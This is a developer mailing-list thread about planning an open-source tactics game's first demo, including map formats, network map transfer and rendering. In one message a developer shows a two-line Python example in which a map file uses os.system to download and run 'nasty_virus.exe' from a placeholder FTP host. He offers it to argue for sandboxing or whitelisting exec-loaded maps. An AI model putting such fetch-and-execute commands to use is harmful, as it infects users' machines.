Feb 5th
brandon
meeting with the local chapter of the international game developer's
association (IGDA) and would like to show off some of the stuff we
have been working on. From what I understand there are supposed to be
at least one or two big time people there who have been working on
games for 20+ years and maybe some representatives for a publisher if
I'm lucky.
No biggies if we can't, there will be more meetings in the future, but
I wanted to go ahead and get our name out there and bring on a few
more people if possible. The meeting is going to have alot of students
and professors from SCAD (Savannah College of Art and Design) if you
have ever heard of it, they are a BIG TIME art school with a game
development program. So we could be possibly talking about highly
talented artists, designers, and programmers.. and maybe some
attention from some of the professors there.
Also, if you are in the Savannah, GA area feb 5th and want to come let
me know.
Markus Martin
>
> Who thinks we can have something out by Feb 5th?
Well, this really depends on what our goals for a release are. If you
look at the roadmap for the December 25th release, we were pretty much
only going for an editor. This sounded good at the time, but there is
somewhat of a chicken and egg problem here. If you have an editor but
no game, that is not much fun. If you have a game and no editor, it
becomes difficult for 3rd parties to make content.
ajhager was the main proponent behind making the editor, and since he
has not been around recently, there is no one to readily take over
that work (I would have went along with his ideas, but I haven't
really thought about this issue much myself). So, I think what we need
as a first release is something at least up to par with GalaxyMage as
it was left. This is especially the case, if you are going to show
this off with the intent of recruiting more contributors. For one
thing, we don't need an editor for artists to get to work, but we _do_
need something for them to load their work into.
So, assuming we are going for basic gameplay, we need to resolve the
following things (which we have discussed, but not definitively
resolved yet):
- 3D engine implementation (are we still interested in using a
scenegraph and numerous other details)
- A definitive map format (abstract + model, or abstract procedural)
- Map loading (is map information for clients loaded from disk or
transferred over the network?)
- Model format (with skeletal or key frame animation?)
I think some of the game engine stuff is up in the air as well, but
that is mostly because no one is sure of how to handle some things,
unlike the other issues which have been hotly debated. ;)
So, here is a laundry list of things that I think we should be able to
do (modified from the old roadmap):
* Client/Server base that will be used for each Module (editor,
battle, campaign)
* Define maps and entities and allow them to be loaded and saved.
* Create the code for loading and showing art like 3d, lights,
widgets, sounds, etc.
* Create a networked game engine which gets input from clients on
their turn, performs battle logic and sends resulting information back
out, also handles requests for certain data such as ranges for
attacks, character stats, etc..
* Create a networked game interface that allows moving, attacking,
casting spells(?) and seeing your opponent do the same
* Create some basic textures, models, sounds, sprites, entities,
and maps for people to use.
* Create documentation for the game, asset formats, asset licensing, etc.
* Create releases for Windows, Mac, and Linux.
If there is enough time left, we could add a basic AI opponent client,
otherwise you would have to play against another player. Someone on
the forums also suggested that we should add hotseat play, which I
think is an excellent idea. We should add that to this release if
possible as well.
> Also, if you are in the Savannah, GA area feb 5th and want to come let
> me know.
I used to be stationed in Columbus, GA when I was in the Army. You are
only four years or so too late though. ;)
Greetings,
-Markus
Markus Martin
The first one deals with the character model format. We were wondering
if we should make character models display the equipment that they are
wearing (weapons, armor, and so). Of course, this would not be
everything that they had, but something more like clothes or armor,
helmet, equipped weapon, shield, and footwear. This is not like FFT
and like, as each character's appearance usually remains the same
regardless of what they are wearing, but it could still be a nice
feature that makes our game less of a clone.
The disadvantages are that this is ultimately more work for
programmers, artists, and anyone else who wants to make their own
campaign/world with their own art.
The next thing is something I forgot. Bugger. Perhaps I will remember later. =)
-Markus
![RB[0]'s profile photo](http://lh3.googleusercontent.com/a-/ALV-UjXlq9WpSSGdqKVe7T2vdX8-6M7stlTV-CbX5-vRWGRCDbSqybk=s40-c)
RB[0]
ones who have a lot fo time right now. Though I'm not sure about
Maximinus.
I am more than willing to to take the lead in the rendering engine - I
have a bit of experience there - more with 2d than 3d, but still some
3d.
This is mostly what I had planned when I joined the team.
Markus and I have been hitting the engine a bit lately - but we have
been stumped on not knowing where everyone else was/wanted.
awall has some good ideas for the battle engine - and an
implementation is already emerging.
And Markus seems to have the multiplayer going well.
I think if Markus and I focus on the rendering and multiplayer, and
awall hits the game engine - then yes, we can have something done by
feb 5th.
I am doubtful as to if we will have it up to par with what GalaxyMage
had by that point, but then if this project starts to take off I will
be able to justify putting more time into it.
I have ideas for how to proceed with the rendering/map representation/
map loading stuff. If it is okay we'll just get a move on :)
I will be off until Friday - hopefully, and then have the weekend as
well.
So basically, if you are okay with us kinda running with our ideas for
now - then we can definitely have a playable version by Feb 5th :D
PS: it would be nice if some other people besides Markus and I were in
irc more often - I haven't caught anyone but him and aj yet ;)
Cya later :)
RB[0]
But I think I know how we can handle all that stuff you mentioned as
being cool pretty easily :)
Anyways - I'm just pretty ansy to get a move on, and if we are going
to get this out by Feb 5th then I need to know if it is ok to just
decide stuff as we go - or if you would prefer everyone being in on
decisions.
I am open to either - I just know that one will probably equal some
more input and diversity in ideas, but the other will translate more
efficiently and, probably, successfully towards a playable game.
Cheers :)
Matt
RB[0]
For this release I would say multiplayer only.
For anyone who would want to try it right now, a simple lobby or
something will be sufficient - and then we can spend more time
implementing game logic, and less trying to make an ai that works.
This is a real pain - and shouldn't be done until we know exactly how
the game will work.
In a recent competition I tried ai, and ended up with only a half-
functional game, and half of my time wasted on an ai that didn't work.
If anyone is wondering - this is the way that civ 4 was built:
multiplayer - full-functionality - poor graphics ->
ai - full func - nice graphics.
And it shows. It is actually surprising how similar our design is
right now following theirs, and I think it would be a good idea to
continue this way.
Cya later :)
Markus Martin
> I think if Markus and I focus on the rendering and multiplayer, and
> awall hits the game engine - then yes, we can have something done by
> feb 5th.
> I am doubtful as to if we will have it up to par with what GalaxyMage
> had by that point, but then if this project starts to take off I will
> be able to justify putting more time into it.
Well, we can give it our best shot and see where we end up. =)
> OK, I missed the second post by Markus there.
> But I think I know how we can handle all that stuff you mentioned as
> being cool pretty easily :)
I am actually writing a second e-mail regarding what I have discovered
about various mesh formats. So, I would love to see you contribute
your idea there.
> Anyways - I'm just pretty ansy to get a move on, and if we are going
> to get this out by Feb 5th then I need to know if it is ok to just
> decide stuff as we go - or if you would prefer everyone being in on
> decisions.
I think we are antsy, but that is no excuse to rush things. Of course
doing things the right way in the first place will save us time in the
long run. So yes, I think idea sharing and discussing is very
important before anyone spends their time writing something that might
not work out so well. Depending on what the topic is, there may only
be one or two other people with an opinion anyways. Such is the nature
of our small group at the moment.
> Oh, I forgot to mention.
> For this release I would say multiplayer only.
>
> For anyone who would want to try it right now, a simple lobby or
> something will be sufficient - and then we can spend more time
> implementing game logic, and less trying to make an ai that works.
>
> This is a real pain - and shouldn't be done until we know exactly how
> the game will work.
> In a recent competition I tried ai, and ended up with only a half-
> functional game, and half of my time wasted on an ai that didn't work.
Ah yes. Good reminder there.. I just mentioned the possibility of a
basic AI because no one really wants to play an unknown multiplayer
game because there is never anyone to play against. But for
demonstration purposes, AI is of course not necessary.
> If anyone is wondering - this is the way that civ 4 was built:
> multiplayer - full-functionality - poor graphics ->
> ai - full func - nice graphics.
>
> And it shows. It is actually surprising how similar our design is
> right now following theirs, and I think it would be a good idea to
> continue this way.
Ah, I was unaware of this. It makes good sense, I think. Especially
since we are exclusively using the client/server paradigm. I should
just point out for anyone else reading, poor graphics != no art. Art
and programming can mostly go on asynchronusly.
As far as our next step goes.. If possible, I would like to see
animation support in your client, RB. And by animation I don't just
mean meshes animating, but also characters _doing_ things in the game
world. Such as moving, attacking, casting spells, performing
abilities. Each one of these activities takes some time while the
animation runs and the character is the "center of attention", and I
would like to experiment with queueing in the networking code, i.e.:
the client gets notified of stuff happening and displays it, meanwhile
the game server can go on with its business. So, I think the best
place to start is with moving units between tiles as that doesn't
necessarily require any additional art at the moment.
Oh, and to answer your question (RB) from IRC a couple nights ago (we
both forgot).. Yes, I do think we need support for tiles above tiles.
It is a nice feature and we will never hear the end of it if we don't
implement it. =)
I am also hoping to take a stab at getting Maximinius' GUI working in
your client this week.
-Markus
RB[0]
> doing things the right way in the first place will save us time in the
> long run. So yes, I think idea sharing and discussing is very
> important before anyone spends their time writing something that might
> not work out so well. Depending on what the topic is, there may only
> be one or two other people with an opinion anyways. Such is the nature
> of our small group at the moment.
personal experience that it is a bad thing ;)
What I mean is, on the things you and I will be dealing with - it will
be faster if you and I come to a decision and just implement, and see
if it works.
We would of course raise questions about specific things that impact
the entire project - but it should be acceptable for us to be able to
just run if we get and idea - instead of doing what we currently are
and posting a thought and having a couple debates about it, an
indecisive vote on the forum, and a months amount of work wasted... :(
No, I'm not saying we rush it, I am simply putting forth an idea that
the devs of Civ 4 call a "flat decision making process".
Where if there are only a couple of people working on a specific part
of the game - when they got a bit of creative flair they just tried
it, instead of debating minute points of difference...
Anyways - I was just wondering if anyone has a problem with this. I'm
fine either way - but we most likely won't have a workable game by the
5th if we keep going like we are.
Cya Later.
brandon
First -- the feb. 5th release does not need to be anything
spectacular.. just something that shows some progress. I'm thinking
the bare minimum to be have a sample map load with some music, with
the units being placed and have it where you can move them around.
They don't even have to attack yet. But, at the same time, we need to
make sure the framework is there to add all the rest of the
functionality. I don't want another GM problem where the code is
messy. But, I have the utmost trust in you guys! Everyone is doing a
great job.
>- 3D engine implementation (are we still interested in using a
>scenegraph and numerous other details)
>- A definitive map format (abstract + model, or abstract procedural)
>- Map loading (is map information for clients loaded from disk or
>transferred over the network?)
>- Model format (with skeletal or key frame animation?)
to the original discussion, let me know the basic strengths and
weaknesses or each and I'll throw in my opinion and give a decision if
you need it. The only thing I can comment on now is the map loading
-- We should do something like how Warcraft III handles maps. The
host player has the map on their computer and when the other players
join, they check to see if they have the map (based on name and byte
size). If they do, they use it. If not, they download it from the
host to their own computer. This way they can host the same map later
if they want without having to go and search for the map. Since maps
can use custom art assets, we may need to have a way of including the
assets with the map file, or have it where they too are transferred
over.
> * Client/Server base that will be used for each Module (editor,
>battle, campaign)
> * Define maps and entities and allow them to be loaded and saved.
> * Create the code for loading and showing art like 3d, lights,
>widgets, sounds, etc.
> * Create a networked game engine which gets input from clients on
>their turn, performs battle logic and sends resulting information back
>out, also handles requests for certain data such as ranges for
>attacks, character stats, etc..
> * Create a networked game interface that allows moving,
attacking,
>casting spells(?) and seeing your opponent do the same
> * Create some basic textures, models, sounds, sprites, entities,
>and maps for people to use.
> * Create documentation for the game, asset formats, asset
licensing, etc.
> * Create releases for Windows, Mac, and Linux.
each of you pledge to work on? Once we get the writing out of the way
we'll have the framework to do the rest. I'll do some research on the
licensing to figure out how we can handle that. The different OS
releases can be worried about when we go to release (right? or is
there something we need to do now?). I can also do some of the art
stuff like textures, etc once we set up the standards for format,
etc. I can also do some modeling, but we need to define what format
to use to load in the models. Whoever is doing that part of the
programming should decide what the best format is and let us know.
Also, I like the ability for your units to be WYSIWYG where their
equipment is shone on their bodies. This would be a great "feature"
above any competitors (if there is any). Don't worry about the art
requirements for this. Artists usually flock to a project once it
hits maturity. We can use placeholder graphics until we get the
finalized stuff.
Our plan of attack should be just like civ 4 -> multiplayer - full-
functionality - poor graphics - ai - full func - nice graphics. But
the art should keep up with the functionality.. at least some sort of
placeholder art until we can get the assets we need.
I'm not against deciding "on the fly" so to speak, but make sure you
can defend your decision when it gets down to it. Just remember when
you are deciding to ask yourself: "What is the best way of doing this,
not just the temporary way." We are building for the future. But you
guys know that. Also, let everyone know of your decision in the
forums and comment it in your code. That way we are all up to date on
where we stand.
yes to tiles above tiles
ok, I think thats everything.. let me know if I missed something
--Brandon
RB[0]
I have a preliminary map system that Markus and I are using - and I
personally think that it fits the way you are saying it better, than
say each map is a mesh. SO for now we'll go with that.
Aj and Markus and I debated this at length in irc, and basically mine
is an abstract representation of the logical map.
Whereas the other gets the logical from the abstract.
The mesh trumps the logical one only in that it is easier to make
every map more unique, since you texture it as you like, but mine
allows more features like having different terrains give you different
stats, making destroyable terrain simpler, etc.
Personally - I am more than willing to take the responsibility on the
map/unit/asset loading and the input/rendering.
Markus has been helping me with that, and I think we're doing pretty
well together.
He also has been hitting the multiplayer end of things - so that is
nice.
For the models that is mentioned in Markus' post on them here earlier,
and I think we have two options there.
I am against a scenegraph as in one found in another lib that would
introduce more dependencies - and I personally don't think this game
will require the smallish speed boost it will give us. It might even
not really help us at all, and it will add more complexity to the
code, which is the main thing that slows down Python execution speed
and dev time.
I agree with you about the transfer - it shouldn't be to hard to in
twisted ;)
I can also give a hand at the documentation, especially if I'm the one
doing the formats ;)
Cya Later :)
Markus Martin
> >- 3D engine implementation (are we still interested in using a
> >scenegraph and numerous other details)
> >- A definitive map format (abstract + model, or abstract procedural)
> >- Map loading (is map information for clients loaded from disk or
> >transferred over the network?)
> >- Model format (with skeletal or key frame animation?)
>
> Did you guys talk about this in IRC or on the forums? If not linkable
> to the original discussion, let me know the basic strengths and
> weaknesses or each and I'll throw in my opinion and give a decision if
> you need it. The only thing I can comment on now is the map loading
> -- We should do something like how Warcraft III handles maps. The
> host player has the map on their computer and when the other players
> join, they check to see if they have the map (based on name and byte
> size). If they do, they use it. If not, they download it from the
> host to their own computer. This way they can host the same map later
> if they want without having to go and search for the map. Since maps
> can use custom art assets, we may need to have a way of including the
> assets with the map file, or have it where they too are transferred
> over.
Well, things are pretty much how RB says, but I think the subject is
partially opinionated on both sides. ;) In any case, I am willing to
go with RB's format for now as he has it already mostly working and I
need a lot more time to plan out how I would like to my format
anyways. Although now that I know about COLLADA, that could be a step
in the right direction. Anyways, I say just continue with his map
format for now. I was planning on using a format like his for the game
engine side anyways.
As far as map transferring goes, I do kind of favor this approach for
its simplicity and ease ( particularly with Twisted). However, it
might actually be better to be able to transfer map information over
the network. Think about the case where a battle is already under way
and some terrain is already deformed, some houses destroyed, trees on
fire, etc.. We would need some way to transfer this information
already, so maybe it is best to do it all at once. As a bonus we could
send the actual map anyway. Also, for the map loading we need a bit of
code for security. The maps are python files that are simply executed
to load, so we need to make sure there are no statements in there that
are not GMR related, otherwise that is a huge security risk.
> We need to delegate the "define" parts out to everyone. What part can
> each of you pledge to work on? Once we get the writing out of the way
> we'll have the framework to do the rest. I'll do some research on the
> licensing to figure out how we can handle that. The different OS
> releases can be worried about when we go to release (right? or is
> there something we need to do now?). I can also do some of the art
> stuff like textures, etc once we set up the standards for format,
> etc. I can also do some modeling, but we need to define what format
> to use to load in the models. Whoever is doing that part of the
> programming should decide what the best format is and let us know.
Right now I am looking at integrating maximinius' GUI into our little
client, then I can maintain the network code (unless ajhager
re-appears), and fill in anywhere else as needed. I also have some
decent modeling and animation skills.
Yeah, and nothing special for the different OSes.
Cheers,
-Markus
RB[0]
in a specific module - thus you can't access most things.
You can't say make it so that on turn 54 player x gets five more
troops.
Or edit the gui layout - when that is in ;)
I've done this kind of thing before - and unless you execute the map
code in the main loop, then the map can't access anything in the main
loop.
On Jan 4, 1:37 am, "Markus Martin" <archw...@gmail.com> wrote:
> 2008/1/2, brandon <freelance.bran...@gmail.com>:
Markus Martin
>
> With the map loading - everything is run through a specific function
> in a specific module - thus you can't access most things.
> You can't say make it so that on turn 54 player x gets five more
> troops.
> Or edit the gui layout - when that is in ;)
> I've done this kind of thing before - and unless you execute the map
> code in the main loop, then the map can't access anything in the main
> loop.
I am not talking about exploiting the game. The server is secure by
the limits placed upon what a client can do, and the server never
loads maps from clients anyway. No, I am talking about exploiting a
person's system with arbitrary code. Like..
import os
os.system('ftp ftp://some.thing/nasty_virus.exe')
os.system('nasty_virus.exe')
Boom, user has joined the zombie minions of a damned spammer.
Now, I think we can simply avoid this by refusing to load a map that
contains any import statements, yes? There should be no other built in
parts of python that would allow a 3rd party map to do anything
harmful, right? I think we will end up loading other stuff this way as
well (because it is so damn convenient!), so let us secure the method
right now.
-Markus
RoeBros RoeBros
So theoretically, that means any map already has those imported...
The only way around it would be to use a markup language, or to place restrictions to only allow the functions defined in the map laoder to be executed - not too hard to do, but I'm not sure if that is what you would want ;)
Markus Martin
> Umm, we are already using os and other stuff in-game :/
> So theoretically, that means any map already has those imported...
You know how I told you the other day that I had tested this and found
it not to be the case.. Well, it is the case. The difference is that I
was running exec from interactive python. I just tried it by using
exec from another file and yes, os is accessible. Bugger.
The other thing we have to worry about is reading and writing files
using open. That requires no module either.
> The only way around it would be to use a markup language, or to place
> restrictions to only allow the functions defined in the map laoder to be
> executed - not too hard to do, but I'm not sure if that is what you would
> want ;)
I think your latter suggestion is the best way to go about it. It
should not be too hard to maintain a whitelist of functions that are
considered valid and then to refuse to load a file containing anything
else (besides comments, of course).
This does make one wonder whether all this checking is really worth
the benefit we get from exec'ing a file rather than just reading one.
Can anyone else think of any other pitfalls we might have to watch out for?
-Markus
RB[0]
But I guess we can always tell people - try and exploit it, and tell
us what you had to do, later ;)
On Jan 6, 6:09 pm, "Markus Martin" <archw...@gmail.com> wrote:
> 2008/1/4, RoeBros RoeBros <roeb...@gmail.com>:
RB[0]
Besides Markus, Alex and I, everyone has been MIA for quite a while,
so we do not have a game :/
We do have some pieces of the puzzle you can show off if you still
want to though.
Markus wrote a GMM exporter for blender, in tools/blender
We have an importer as well, but they aren't quite working together
yet.
Markus and I tried to get maximinus' gui to work in 3d, but it is was
too slow, a little buggy, it was difficult to change the way events
were handled or extend the widgets, and doesn't have all the features
we need yet.
So I wrote a quick little GUI, which has windows, menus, labels,
buttons, themes (you can change the whole look very easily), input
boxes, and other various things.
The default theme uses only one image ;)
We also have the map/unit viewer hack from mid-December and stuff.
Alex has written up most of the game engine as well.
At this point I need to scale back a bit, but I'm still here.
I'll probably be around 4 or 5 nights a week, depending on my
schedule.
Current goals are:
Markus is going to finish the importer.
Markus is going to get the server/client code done.
Alex will finish the game engine.
I will finish the graphical stuff and the GUI (or we'll use maximinus'
if he has added all the other widgets we need and it is faster...).
I will write a basic map editor.
Once all those pieces are done we'll write a basic menu/interface and
then a basic game without scenarios/campaigns and stuff...
Those tasks are not set in stone though ;)
If anyone else has the time feel free to work on any of those if you'd
like, or anything else for that matter too ;)
How does that sound?
BTW, are you getting a new site up brandon? Or is it just dead and we
need to move?
Whichever you choose, we really need a site up here again soon,
because no site can kill a project ;)
Cya around :)
Matt